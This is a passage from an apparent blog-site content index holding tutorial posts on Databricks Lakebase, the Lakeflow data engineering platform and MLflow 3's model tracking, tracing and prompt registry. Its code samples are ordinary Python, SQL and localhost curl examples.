{\u0026#34;thread_id\u0026#34;: \u0026#34;user-001-session-42\u0026#34;}} result = app.invoke({\u0026#34;messages\u0026#34;: [(\u0026#34;user\u0026#34;, \u0026#34;Check order status\u0026#34;)]}, config) # Resume later — state is loaded from Lakebase automatically result = app.invoke({\u0026#34;messages\u0026#34;: [(\u0026#34;user\u0026#34;, \u0026#34;Now cancel it\u0026#34;)]}, config) Every LangGraph interaction is stored at the thread level in Lakebase. Your agent can resume investigations across sessions, and the entire conversation state is available in Delta Lake via Lakehouse Sync for analytics. When to Use Lakebase vs. External Postgres # Lakebase isn\u0026rsquo;t a replacement for every Postgres deployment. Here\u0026rsquo;s a practical decision framework:\nUse Lakebase when\u0026hellip; Use external Postgres when\u0026hellip; Building apps on Databricks (Databricks Apps) You need Postgres extensions beyond what Lakebase supports Your app data needs to join with lakehouse analytics Your app is completely independent of the Databricks platform You want branching/PITR without managing infrastructure You need multi-region active-active replication AI agents need relational + vector storage You\u0026rsquo;re already deeply invested in RDS/Cloud SQL tooling You want unified governance via Unity Catalog Your compliance requires a specific managed Postgres provider Architecture Pattern: Full-Stack AI App on Databricks # Here\u0026rsquo;s how the pieces fit together for a production AI application:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌─────────────────────────┐ │ Databricks App (UI) │ └────────────┬────────────┘ │ ┌────────────▼────────────┐ │ AI Agent (LangGraph) │ │ - Tool calling │ │ - State management │ └────────────┬────────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌──────────▼─────────┐ ┌─────▼──────┐ ┌─────────▼────────┐ │ Lakebase │ │ Model │ │ Unity Catalog │ │ - Conversations │ │ Serving │ │ - Delta tables │ │ - User state │ │ (LLM) │ │ - Feature store │ │ - Vector search │ │ │ │ - ML models │ │ (pgvector) │ │ │ │ │ └──────────┬──────────┘ └────────────┘ └───────────────────┘ │ │ Lakehouse Sync (wal2delta) │ ┌──────────▼──────────┐ │ Delta Lake │ │ - Conversation │ │ history (SCD2) │ │ - Analytics │ │ - ML training data │ └──────────────────────┘ This is the architecture Databricks is betting on. Lakebase is the missing piece that makes \u0026ldquo;full-stack lakehouse\u0026rdquo; real.\nMinimal FastAPI app backed by Lakebase # Here\u0026rsquo;s a working Databricks App skeleton — a conversation API backed entirely by Lakebase:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 # app.py — deploy as a Databricks App from fastapi import FastAPI, HTTPException from pydantic import BaseModel import psycopg2 from psycopg2.extras import RealDictCursor import os app = FastAPI(title=\u0026#34;AI Chatbot API\u0026#34;) def get_db(): return psycopg2.connect( host=os.environ[\u0026#34;LAKEBASE_HOST\u0026#34;], port=5432, dbname=\u0026#34;databricks_postgres\u0026#34;, user=os.environ[\u0026#34;LAKEBASE_USER\u0026#34;], password=os.environ[\u0026#34;LAKEBASE_PASSWORD\u0026#34;], sslmode=\u0026#34;require\u0026#34; ) class MessageRequest(BaseModel): conversation_id: int role: str content: str @app.post(\u0026#34;/conversations\u0026#34;) def create_conversation(user_id: str, agent_id: str = \u0026#34;default-agent\u0026#34;): conn = get_db() try: with conn.cursor(cursor_factory=RealDictCursor) as cur: cur.execute( \u0026#34;INSERT INTO conversations (user_id, agent_id) VALUES (%s, %s) RETURNING *\u0026#34;, (user_id, agent_id) ) result = cur.fetchone() conn.commit() return result finally: conn.close() @app.get(\u0026#34;/conversations/{conv_id}/messages\u0026#34;) def get_messages(conv_id: int): conn = get_db() try: with conn.cursor(cursor_factory=RealDictCursor) as cur: cur.execute( \u0026#34;SELECT role, content, tokens_used, created_at FROM messages \u0026#34; \u0026#34;WHERE conversation_id = %s ORDER BY created_at\u0026#34;, (conv_id,) ) return cur.fetchall() finally: conn.close() @app.post(\u0026#34;/messages\u0026#34;) def post_message(msg: MessageRequest): conn = get_db() try: with conn.cursor(cursor_factory=RealDictCursor) as cur: cur.execute( \u0026#34;INSERT INTO messages (conversation_id, role, content, tokens_used) \u0026#34; \u0026#34;VALUES (%s, %s, %s, %s) RETURNING *\u0026#34;, (msg.conversation_id, msg.role, msg.content, len(msg.content.split())) ) result = cur.fetchone() conn.commit() return result finally: conn.close() @app.get(\u0026#34;/stats\u0026#34;) def agent_stats(): \u0026#34;\u0026#34;\u0026#34;Real-time agent performance — straight from Lakebase.\u0026#34;\u0026#34;\u0026#34; conn = get_db() try: with conn.cursor(cursor_factory=RealDictCursor) as cur: cur.execute(\u0026#34;\u0026#34;\u0026#34; SELECT c.agent_id, count(DISTINCT c.id) as conversations, count(m.id) as total_messages, round(avg(m.tokens_used), 1) as avg_tokens FROM conversations c JOIN messages m ON m.conversation_id = c.id GROUP BY c.agent_id \u0026#34;\u0026#34;\u0026#34;) return cur.fetchall() finally: conn.close() Test it locally:\n1 2 3 4 5 curl -X POST \u0026#34;http://localhost:8000/conversations?user_id=demo-user\u0026#34; # {\u0026#34;id\u0026#34;: 4, \u0026#34;user_id\u0026#34;: \u0026#34;demo-user\u0026#34;, \u0026#34;agent_id\u0026#34;: \u0026#34;default-agent\u0026#34;, \u0026#34;started_at\u0026#34;: \u0026#34;2026-04-18T...\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;active\u0026#34;} curl http://localhost:8000/stats # [{\u0026#34;agent_id\u0026#34;: \u0026#34;support-bot-v2\u0026#34;, \u0026#34;conversations\u0026#34;: 2, \u0026#34;total_messages\u0026#34;: 4, \u0026#34;avg_tokens\u0026#34;: 33.8}, ...] Deploy to Databricks Apps and add Lakebase as a resource — credentials rotate automatically.\nCurrent Limitations # No product overview is complete without the caveats:\nAWS GA, Azure public preview — GCP support coming later in 2026 8 TB maximum per instance (for now) Read-only Unity Catalog registration — you can\u0026rsquo;t write to Lakebase via SQL Warehouses Extension support is curated — not every Postgres extension is available (pgvector is, PostGIS is not yet) Autoscaling cold starts — scale-to-zero wake-up takes a few seconds, which may matter for latency-sensitive applications No cross-region replication — single-region only at this stage These are expected to improve rapidly as Lakebase matures from public preview to full GA across all clouds.\nConclusion # Lakebase is a paradigm shift for the Databricks platform. For the first time, you can run operational workloads — your application\u0026rsquo;s transactional database — alongside analytical and AI workloads on a single platform, governed by a single catalog.\nThe practical implications are significant:\nFewer moving parts — eliminate external databases and CDC pipelines Faster development — database branching and scale-to-zero change the development workflow Unified governance — one set of access controls for operational and analytical data AI-native — pgvector + relational storage in one place for agent state and RAG If you\u0026rsquo;re building AI applications on Databricks, Lakebase should be your default starting point for the transactional layer. The days of \u0026ldquo;Databricks for analytics, something else for OLTP\u0026rdquo; are numbered.\nLakebase is GA on AWS with Autoscaling (since March 2026) and in public preview on Azure. Check the Databricks documentation for the latest availability and feature updates.\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/lakebase-postgres-database-for-ai-apps/","section":"Posts","summary":"","title":"Lakebase: Postgres Meets the Lakehouse — Hands-On with Databricks' OLTP Play","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/lakeflow/","section":"Tags","summary":"","title":"Lakeflow","type":"tags"},{"content":"If you\u0026rsquo;ve been building pipelines on Databricks for any amount of time, you know the pain: DLT for transformations, partner tools for ingestion, notebooks for orchestration, and a prayer that everything stays in sync. Lakeflow consolidates all of that into a single, GA-ready platform.\nThis isn\u0026rsquo;t a rebrand. It\u0026rsquo;s a genuine unification of ingestion, transformation, and orchestration under one roof — with some significant new capabilities that change how you should think about data engineering on Databricks.\nWhat Is Lakeflow? # Lakeflow is Databricks\u0026rsquo; unified data engineering platform, now Generally Available. It brings three components under one umbrella:\nComponent What It Does Formerly Known As Declarative Pipelines Transformation \u0026amp; orchestration Delta Live Tables (DLT) Lakeflow Connect Managed ingestion from SaaS \u0026amp; databases Partner Connect / custom connectors Lakeflow Designer Visual, no-code pipeline builder (New) The key insight: these aren\u0026rsquo;t three separate products bolted together. They share a common execution engine, unified monitoring, and a single API surface. Your Connect ingestion feeds directly into Declarative Pipelines transformations without intermediate landing zones or glue code.\nDeclarative Pipelines: DLT Grows Up # If you\u0026rsquo;ve used Delta Live Tables, Declarative Pipelines will feel familiar — because it is DLT, with a new name and significant improvements. The core programming model is the same: you declare what your data should look like, and the engine figures out how to get there.\nWhat Changed from DLT # The rename isn\u0026rsquo;t cosmetic. Key differences:\nServerless by default. No more cluster management. Pipelines run on serverless compute with automatic scaling. You pay per DBU consumed, not for idle clusters.\nMaterialized Views and Streaming Tables are first-class. These are no longer DLT-only concepts — they\u0026rsquo;re Unity Catalog objects accessible from any Databricks SQL warehouse or notebook.\nRow-level expectations with actions. You can now define data quality rules that drop, fail, or quarantine bad rows:\n1 2 3 4 5 6 7 8 9 10 11 12 13 import dlt @dlt.table( name=\u0026#34;clean_transactions\u0026#34;, comment=\u0026#34;Validated transaction records\u0026#34; ) @dlt.expect_all_or_drop({ \u0026#34;valid_amount\u0026#34;: \u0026#34;amount \u0026gt; 0\u0026#34;, \u0026#34;valid_currency\u0026#34;: \u0026#34;currency IN (\u0026#39;USD\u0026#39;, \u0026#39;EUR\u0026#39;, \u0026#39;GBP\u0026#39;, \u0026#39;PLN\u0026#39;)\u0026#34;, \u0026#34;not_null_id\u0026#34;: \u0026#34;transaction_id IS NOT NULL\u0026#34; }) def clean_transactions(): return spark.readStream(\u0026#34;STREAM raw_transactions\u0026#34;) Python and SQL parity. SQL pipelines now support the full feature set that was previously Python-only, including parameterized queries and complex flow control.\nBuilt-in orchestration. Pipelines can be composed into multi-task jobs with dependencies, retries, and conditional execution — no need for external orchestrators.\nMigration Checklist: DLT to Declarative Pipelines # If you have existing DLT pipelines, here\u0026rsquo;s what you need to do:\nNothing breaks immediately. Existing DLT pipelines continue to run. The API endpoints are aliased. Update imports. import dlt remains valid. The dlt Python module is the canonical import. Review compute settings. Serverless is now the default for new pipelines. Existing pipelines retain their classic compute configuration until you explicitly migrate. Audit expectations. If you were using expect without an action, the default behavior (warn) hasn\u0026rsquo;t changed — but now is a good time to add explicit drop or fail actions. Check Unity Catalog registration. Materialized views and streaming tables created by Declarative Pipelines are automatically registered in Unity Catalog. Verify your governance policies cover these new objects. 1 2 3 4 5 -- Check what your pipeline has registered SELECT table_name, table_type, created_by FROM system.information_schema.tables WHERE table_schema = \u0026#39;your_schema\u0026#39; AND created_by LIKE \u0026#39;%pipeline%\u0026#39;; Lakeflow Connect: Free Ingestion That Actually Works # This is the game-changer for cost-conscious teams. Lakeflow Connect provides managed, no-code ingestion from popular sources — and the free tier gives you 100 DBU per day at no cost.\nSupported Sources (GA) # The connector library keeps growing, but at GA these are production-ready:\nSaaS Applications:\nSalesforce ServiceNow Microsoft Dynamics 365 Workday Google Analytics HubSpot Zendesk Databases (CDC):\nPostgreSQL MySQL SQL Server Oracle MongoDB Cloud Storage:\nAmazon S3 Azure Blob Storage / ADLS Gen2 Google Cloud Storage Setting Up a Connect Pipeline # Creating an ingestion pipeline is refreshingly simple. From the workspace UI:\nNavigate to Data Engineering \u0026gt; Lakeflow Connect Select your source type Provide connection credentials (stored in Unity Catalog secrets) Choose tables/objects to ingest Select target catalog and schema Configure sync mode: Full Refresh or Incremental (CDC) For the programmatic types, the REST API works too:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from databricks.sdk import WorkspaceClient from databricks.sdk.service.pipelines import ( IngestionConfig, TableSpecificConfig, ) w = WorkspaceClient() # Create a Salesforce ingestion pipeline via the Pipelines API pipeline = w.pipelines.create( name=\u0026#34;salesforce-ingestion\u0026#34;, catalog=\u0026#34;bronze\u0026#34;, schema=\u0026#34;salesforce_raw\u0026#34;, ingestion_definition=IngestionConfig( connection_name=\u0026#34;salesforce-prod\u0026#34;, objects=[ TableSpecificConfig(table_configuration={\u0026#34;Account\u0026#34;: {}}), TableSpecificConfig(table_configuration={\u0026#34;Opportunity\u0026#34;: {}}), TableSpecificConfig(table_configuration={\u0026#34;Contact\u0026#34;: {}}), ] ), serverless=True, ) The Free Tier Math # 100 DBU/day translates to roughly:\n~20-30 tables with hourly incremental sync from a typical SaaS source ~5-10 million rows/day from database CDC sources (depending on row size) Enough for most small-to-medium analytics teams\u0026rsquo; ingestion needs If you exceed the free tier, you pay standard serverless DBU rates. There\u0026rsquo;s no cliff — it\u0026rsquo;s a smooth transition.\nPro tip: Start with your highest-value, lowest-volume sources on Connect\u0026rsquo;s free tier. Use the savings to justify expanding to paid ingestion for larger sources.\nLakeflow Designer: No-Code for Real # Designer is the visual pipeline builder, and — hot take — it\u0026rsquo;s actually useful. Not just for non-technical users, but for prototyping complex transformations before writing production code.\nWhat Designer Can Do # Drag-and-drop transformations: Filter, join, aggregate, pivot, unpivot, and custom SQL — all in a visual canvas Live preview: See sample data at every stage of your pipeline without running the full job Code generation: Every Designer pipeline generates clean Python or SQL that you can export, version control, and extend Collaboration-friendly: Share visual pipelines with stakeholders who can understand the logic without reading code When to Use Designer vs. Code # Use Case Designer Code Prototyping a new pipeline Yes Complex business logic Yes Stakeholder review Yes Production pipeline (simple) Yes Production pipeline (complex) Yes Ad-hoc data exploration Yes CI/CD integration Yes The sweet spot: use Designer to prototype and get stakeholder buy-in, then export to code for production. The generated code is clean enough to use as a starting point — you\u0026rsquo;re not fighting auto-generated spaghetti.\nDesigner Example: SCD Type 2 # Here\u0026rsquo;s where Designer earns its keep. Slowly Changing Dimension Type 2 is one of those patterns that\u0026rsquo;s tedious to write from scratch every time. In Designer:\nDrag in your source table Add a \u0026ldquo;SCD Type 2\u0026rdquo; transformation block Configure: business key, tracked columns, effective date column Connect to your target table Designer generates the merge logic, handles the surrogate keys, and manages the effective_from / effective_to / is_current columns. The generated SQL is standard MERGE INTO — no proprietary magic.\nPutting It All Together: A Complete Pipeline # Here\u0026rsquo;s a realistic example that uses all three Lakeflow components:\nArchitecture # 1 2 3 4 5 6 7 8 9 10 11 12 [Salesforce] --\u0026gt; Lakeflow Connect --\u0026gt; bronze.salesforce_raw.* [PostgreSQL] --\u0026gt; Lakeflow Connect --\u0026gt; bronze.app_db_raw.* | Declarative Pipelines | silver.cleaned_opportunities silver.enriched_accounts | Declarative Pipelines | gold.revenue_dashboard gold.customer_360 Step 1: Ingestion with Connect # Set up two Connect pipelines — one for Salesforce (free tier), one for your application PostgreSQL (CDC):\n1 2 3 4 -- These tables appear automatically in your bronze catalog -- after Connect pipeline runs SELECT * FROM bronze.salesforce_raw.opportunity LIMIT 10; SELECT * FROM bronze.app_db_raw.customers LIMIT 10; Step 2: Transform with Declarative Pipelines # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import dlt @dlt.table( name=\u0026#34;cleaned_opportunities\u0026#34;, comment=\u0026#34;Opportunities with validated amounts and standardized stages\u0026#34;, table_properties={\u0026#34;quality\u0026#34;: \u0026#34;silver\u0026#34;} ) @dlt.expect_or_drop(\u0026#34;positive_amount\u0026#34;, \u0026#34;amount \u0026gt; 0\u0026#34;) @dlt.expect_or_drop(\u0026#34;valid_stage\u0026#34;, \u0026#34;stage_name IS NOT NULL\u0026#34;) def cleaned_opportunities(): return ( spark.readStream(\u0026#34;STREAM bronze.salesforce_raw.opportunity\u0026#34;) .withColumn(\u0026#34;amount_usd\u0026#34;, F.when(F.col(\u0026#34;currency\u0026#34;) != \u0026#34;USD\u0026#34;, F.col(\u0026#34;amount\u0026#34;) * get_exchange_rate(F.col(\u0026#34;currency\u0026#34;))) .otherwise(F.col(\u0026#34;amount\u0026#34;))) .withColumn(\u0026#34;stage_normalized\u0026#34;, normalize_stage(F.col(\u0026#34;stage_name\u0026#34;))) ) @dlt.table( name=\u0026#34;customer_360\u0026#34;, comment=\u0026#34;Unified customer view joining CRM and application data\u0026#34;, table_properties={\u0026#34;quality\u0026#34;: \u0026#34;gold\u0026#34;} ) def customer_360(): opportunities = dlt.read(\u0026#34;cleaned_opportunities\u0026#34;) customers = spark.read.table(\u0026#34;bronze.app_db_raw.customers\u0026#34;) return ( customers .join(opportunities, customers.email == opportunities.contact_email, \u0026#34;left\u0026#34;) .groupBy(\u0026#34;customer_id\u0026#34;, \u0026#34;email\u0026#34;, \u0026#34;company_name\u0026#34;) .agg( F.sum(\u0026#34;amount_usd\u0026#34;).alias(\u0026#34;total_pipeline_value\u0026#34;), F.count(\u0026#34;opportunity_id\u0026#34;).alias(\u0026#34;open_opportunities\u0026#34;), F.max(\u0026#34;close_date\u0026#34;).alias(\u0026#34;latest_close_date\u0026#34;) ) ) Step 3: Orchestrate # Define a multi-task job that runs Connect ingestion first, then transformations:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from databricks.sdk import WorkspaceClient from databricks.sdk.service.jobs import * w = WorkspaceClient() job = w.jobs.create( name=\u0026#34;daily-customer-pipeline\u0026#34;, tasks=[ Task( task_key=\u0026#34;ingest_salesforce\u0026#34;, pipeline_task=PipelineTask(pipeline_id=\u0026#34;\u0026lt;connect-pipeline-id\u0026gt;\u0026#34;) ), Task( task_key=\u0026#34;ingest_app_db\u0026#34;, pipeline_task=PipelineTask(pipeline_id=\u0026#34;\u0026lt;connect-cdc-pipeline-id\u0026gt;\u0026#34;) ), Task( task_key=\u0026#34;transform\u0026#34;, pipeline_task=PipelineTask(pipeline_id=\u0026#34;\u0026lt;declarative-pipeline-id\u0026gt;\u0026#34;), depends_on=[ TaskDependency(task_key=\u0026#34;ingest_salesforce\u0026#34;), TaskDependency(task_key=\u0026#34;ingest_app_db\u0026#34;) ] ) ], schedule=CronSchedule( quartz_cron_expression=\u0026#34;0 0 6 * * ?\u0026#34;, timezone_id=\u0026#34;Europe/Warsaw\u0026#34; ) ) Cost Considerations # Lakeflow pricing is DBU-based, with some notable details:\nComponent Pricing Model Notes Declarative Pipelines Serverless DBU Pay for compute time only Lakeflow Connect Free up to 100 DBU/day, then serverless DBU Per-workspace free tier Lakeflow Designer No additional cost Included with workspace Cost optimization tips:\nUse Connect\u0026rsquo;s free tier strategically. 100 DBU/day is generous for ingestion. Don\u0026rsquo;t waste it on full refreshes when incremental CDC works. Right-size pipeline triggers. Not every table needs real-time. Batch daily for dimensional data, stream only for truly time-sensitive sources. Leverage expectations to fail fast. Bad data that makes it to gold costs more to fix than data that gets quarantined at silver. Monitor with system tables. system.billing.usage gives you per-pipeline cost breakdowns. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -- Check your Lakeflow costs for the last 30 days SELECT u.usage_metadata.pipeline_id, u.usage_metadata.pipeline_name, SUM(u.usage_quantity) as total_dbus, SUM(u.usage_quantity * p.pricing.default) as estimated_cost FROM system.billing.usage u LEFT JOIN system.billing.list_prices p ON u.cloud = p.cloud AND u.sku_name = p.sku_name AND u.usage_date BETWEEN p.price_start_time AND COALESCE(p.price_end_time, \u0026#39;2099-12-31\u0026#39;) WHERE u.usage_date \u0026gt;= DATEADD(DAY, -30, CURRENT_DATE()) AND u.usage_metadata.pipeline_id IS NOT NULL GROUP BY 1, 2 ORDER BY total_dbus DESC; What\u0026rsquo;s Still Missing # Lakeflow is GA, but it\u0026rsquo;s not done. A few gaps to be aware of:\nConnect source coverage. The connector library is growing but still smaller than mature tools like Fivetran or Airbyte. If your source isn\u0026rsquo;t supported, you\u0026rsquo;re still writing custom ingestion. Designer complexity ceiling. For truly complex transformations (recursive CTEs, custom UDFs, multi-hop streaming), you\u0026rsquo;ll outgrow Designer quickly. That\u0026rsquo;s by design — it\u0026rsquo;s a prototyping tool, not a replacement for code. Cross-workspace pipelines. Lakeflow pipelines are workspace-scoped. If you need cross-workspace orchestration, you\u0026rsquo;re still using multi-workspace jobs or external orchestrators. Terraform support. The Databricks Terraform provider supports Declarative Pipelines, but Connect and Designer resources aren\u0026rsquo;t fully covered yet. Bottom Line # Lakeflow is the first time Databricks has offered a genuinely unified data engineering experience. The free Connect tier lowers the barrier to entry, Designer makes pipelines accessible to non-engineers, and Declarative Pipelines (née DLT) is a mature, production-proven transformation engine.\nIf you\u0026rsquo;re already on Databricks, there\u0026rsquo;s no reason not to evaluate Lakeflow for new pipelines. If you\u0026rsquo;re evaluating Databricks, Lakeflow just made the platform significantly more compelling for data engineering workloads.\nThe migration from DLT is painless. The free ingestion tier is real. And Designer — surprisingly — doesn\u0026rsquo;t suck. That\u0026rsquo;s a win.\nHave questions about Lakeflow or want to share your migration experience? Connect with me on LinkedIn.\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/lakeflow-unified-data-engineering-platform/","section":"Posts","summary":"","title":"Lakeflow GA: The Unified Data Engineering Platform You've Been Waiting For","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/lakeflow-connect/","section":"Tags","summary":"","title":"Lakeflow-Connect","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/lakeflow-designer/","section":"Tags","summary":"","title":"Lakeflow-Designer","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/lakehouse/","section":"Tags","summary":"","title":"Lakehouse","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/llm/","section":"Tags","summary":"","title":"Llm","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/categories/machine-learning/","section":"Categories","summary":"","title":"Machine Learning","type":"categories"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/mlflow/","section":"Tags","summary":"","title":"Mlflow","type":"tags"},{"content":"MLflow has been the default ML lifecycle tool for years. Model tracking, experiment logging, artifact management — if you\u0026rsquo;ve done ML on Databricks (or anywhere else), you\u0026rsquo;ve probably used it.\nBut here\u0026rsquo;s the thing: MLflow 2 was built for a world where \u0026ldquo;model\u0026rdquo; meant a scikit-learn classifier or a PyTorch checkpoint. That world still exists, but it now shares the stage with LLM chains, RAG pipelines, and autonomous agents that call tools, make decisions, and occasionally hallucinate.\nMLflow 3 is Databricks\u0026rsquo; answer to this shift. Not a patch. Not a feature flag. A ground-up rethinking of what an ML platform needs to be when your \u0026ldquo;model\u0026rdquo; is a multi-step agent with a prompt, a retriever, and a mind of its own.\nWhat Actually Changed: MLflow 2 vs. MLflow 3 # Let\u0026rsquo;s cut through the marketing and look at the structural differences.\nModels Are Now First-Class Citizens # In MLflow 2, models were artifacts attached to runs. You\u0026rsquo;d log a model inside mlflow.start_run(), and the model lived under that run\u0026rsquo;s artifact path. Want to find your model? Navigate through experiments → runs → artifacts. It worked, but it was like finding your car keys by retracing your entire day.\nMLflow 3 introduces LoggedModel — a first-class entity that exists independently of runs:\n1 2 3 4 5 6 7 8 9 10 11 12 import mlflow # MLflow 2: models live inside runs with mlflow.start_run(): mlflow.sklearn.log_model(model, \u0026#34;my_model\u0026#34;) # MLflow 3: models are standalone entities model_info = mlflow.pyfunc.log_model( name=\u0026#34;fraud_detector\u0026#34;, python_model=my_model ) # No start_run() needed. The model IS the entity. This isn\u0026rsquo;t just syntactic sugar. LoggedModel carries its own metadata, parameters, metrics, and tags. You can search, compare, and organize models directly — without digging through run hierarchies.\nMigration note: MLflow 3 can load resources created with MLflow 2, but the reverse is not true. Plan your upgrade path accordingly — once your tracking server moves to 3.x, older clients won\u0026rsquo;t be able to read the new entities. Tracing Replaces Logging for GenAI # Traditional ML logging captures inputs, outputs, hyperparameters, and metrics. That\u0026rsquo;s fine when your model does one thing: takes input, produces output.\nBut a GenAI agent might:\nParse the user query Retrieve context from a vector store Build a prompt from a template Call an LLM Parse the response Decide to call a tool Call another LLM with tool results Return a final answer Logging step 1 and step 8 tells you almost nothing. You need tracing — hierarchical, step-by-step visibility into the entire execution flow.\nMLflow 3 makes tracing a first-class concept with auto-instrumentation for 50+ frameworks:\n1 2 3 4 5 6 7 8 9 import mlflow # One line. That\u0026#39;s it. Every OpenAI call is now traced. mlflow.openai.autolog() # Or for LangChain: mlflow.langchain.autolog() # Or for Anthropic, LlamaIndex, PydanticAI, smolagents... Each trace captures:\nLatency at every step (where is your agent spending time?) Token usage and cost (which LLM calls are burning your budget?) Input/output pairs at each node (what did the retriever actually return?) Error propagation (where in the chain did things go wrong?) flowchart TD subgraph Trace[\"MLflow Trace: Customer Support Agent\"] A[\"User Query\"] --\u003e B[\"Intent Classification\\n12ms | 150 tokens\"] B --\u003e C[\"RAG Retrieval\\n45ms | Vector DB\"] C --\u003e D[\"Prompt Assembly\\n2ms | Template v3\"] D --\u003e E[\"LLM Call\\n890ms | 1,200 tokens\"] E --\u003e F{Tool Call?} F --\u003e|Yes| G[\"Tool Execution\\n200ms | API Call\"] G --\u003e H[\"Follow-up LLM\\n650ms | 800 tokens\"] F --\u003e|No| I[\"Response\"] H --\u003e I end style A fill:#4CAF50,color:#fff style E fill:#FF9800,color:#fff style H fill:#FF9800,color:#fff style I fill:#2196F3,color:#fff OpenTelemetry Compatibility # Here\u0026rsquo;s the part that matters if you run agents outside Databricks: MLflow traces are OpenTelemetry-compatible. This means you can export traces to any OTel-compatible backend — Jaeger, Grafana Tempo, Datadog, whatever your ops team already uses.\nYour agent doesn\u0026rsquo;t need to run on Databricks to be observable. It just needs MLflow\u0026rsquo;s tracing SDK.\nThe Prompt Registry: Version Control for Your Most Important Code # If you\u0026rsquo;re building GenAI applications, your prompts are production code. They determine output quality more than any hyperparameter ever did. Yet most teams manage prompts in\u0026hellip; strings. In notebooks. In Slack messages that say \u0026ldquo;hey try this version.\u0026rdquo;\nMLflow 3\u0026rsquo;s Prompt Registry treats prompts as versioned, governed artifacts with a proper lifecycle.\nCreating and Versioning Prompts # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import mlflow # Register a new prompt prompt = mlflow.register_prompt( name=\u0026#34;customer_support_responder\u0026#34;, template=( \u0026#34;You are a helpful support agent for {{company_name}}.\\n\u0026#34; \u0026#34;Answer the customer\u0026#39;s question using ONLY the provided context.\\n\\n\u0026#34; \u0026#34;Context: {{retrieved_context}}\\n\\n\u0026#34; \u0026#34;Customer question: {{question}}\\n\\n\u0026#34; \u0026#34;If you cannot answer from the context, say so honestly.\u0026#34; ), commit_message=\u0026#34;Initial version: conservative, context-only responses\u0026#34; ) # Later, create a new version with improvements prompt_v2 = mlflow.register_prompt( name=\u0026#34;customer_support_responder\u0026#34;, template=( \u0026#34;You are a helpful support agent for {{company_name}}.\\n\u0026#34; \u0026#34;Answer the customer\u0026#39;s question using the provided context.\\n\u0026#34; \u0026#34;You may use general knowledge to supplement, but clearly \u0026#34; \u0026#34;distinguish between verified (from context) and general information.\\n\\n\u0026#34; \u0026#34;Context: {{retrieved_context}}\\n\\n\u0026#34; \u0026#34;Customer question: {{question}}\\n\\n\u0026#34; \u0026#34;Format: Start with the direct answer, then provide details.\u0026#34; ), commit_message=\u0026#34;v2: Allow general knowledge with clear attribution\u0026#34; ) Every version is immutable once created. You get a full history with commit messages — Git for prompts, essentially.\nAliases: Safe Deployment Without Code Changes # The real power is in aliases. Instead of hardcoding prompt version numbers, you reference aliases:\n1 2 3 4 5 6 7 8 9 10 11 12 13 # In your application code (never changes): prompt = mlflow.load_prompt(\u0026#34;customer_support_responder@production\u0026#34;) # Deployment workflow: # 1. Test v2 in staging mlflow.set_prompt_alias(\u0026#34;customer_support_responder\u0026#34;, \u0026#34;staging\u0026#34;, version=2) # 2. Run evals, compare quality scores # 3. Promote to production mlflow.set_prompt_alias(\u0026#34;customer_support_responder\u0026#34;, \u0026#34;production\u0026#34;, version=2) # 4. If something goes wrong, instant rollback mlflow.set_prompt_alias(\u0026#34;customer_support_responder\u0026#34;, \u0026#34;production\u0026#34;, version=1) This means your product manager can update a prompt through the MLflow UI, test it in staging, and promote it to production — without a single code deployment. No PR, no CI/CD pipeline, no \u0026ldquo;can you rebuild the Docker image.\u0026rdquo;\nWhy this matters: In traditional ML, model deployment is a well-understood process with CI/CD, canary releases, and rollback procedures. Prompt changes have the same impact on output quality but historically lacked any of those safeguards. The Prompt Registry brings prompt management up to the same maturity level as model deployment. Prompt Evaluation Before Promotion # Before promoting a prompt to production, evaluate it:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import mlflow # Load both versions prompt_v1 = mlflow.load_prompt(\u0026#34;customer_support_responder\u0026#34;, version=1) prompt_v2 = mlflow.load_prompt(\u0026#34;customer_support_responder\u0026#34;, version=2) # Evaluate against a test dataset results_v1 = mlflow.evaluate( model=my_agent_with_prompt(prompt_v1), data=eval_dataset, evaluators=\u0026#34;default\u0026#34;, ) results_v2 = mlflow.evaluate( model=my_agent_with_prompt(prompt_v2), data=eval_dataset, evaluators=\u0026#34;default\u0026#34;, ) # Compare quality scores side-by-side before promoting MLflow 3 includes built-in LLM judges for automated evaluation — relevance, faithfulness, toxicity, and custom rubrics. You can set up a prompt evaluation pipeline that runs before any alias promotion, catching regressions before they reach users.\nAgent Observability: Beyond Databricks # One of MLflow 3\u0026rsquo;s strongest moves is making observability platform-agnostic. Your agent can run on:\nDatabricks Model Serving AWS SageMaker A Kubernetes pod in your own data center A laptop during development \u0026hellip;and MLflow traces it all the same way.\nAuto-Tracing Integrations # MLflow 3 ships with auto-tracing for the frameworks that matter:\nFramework One-Line Setup OpenAI mlflow.openai.autolog() Anthropic mlflow.anthropic.autolog() LangChain mlflow.langchain.autolog() LlamaIndex mlflow.llamaindex.autolog() PydanticAI mlflow.pydantic_ai.autolog() smolagents mlflow.smolagents.autolog() CrewAI mlflow.crewai.autolog() DSPy 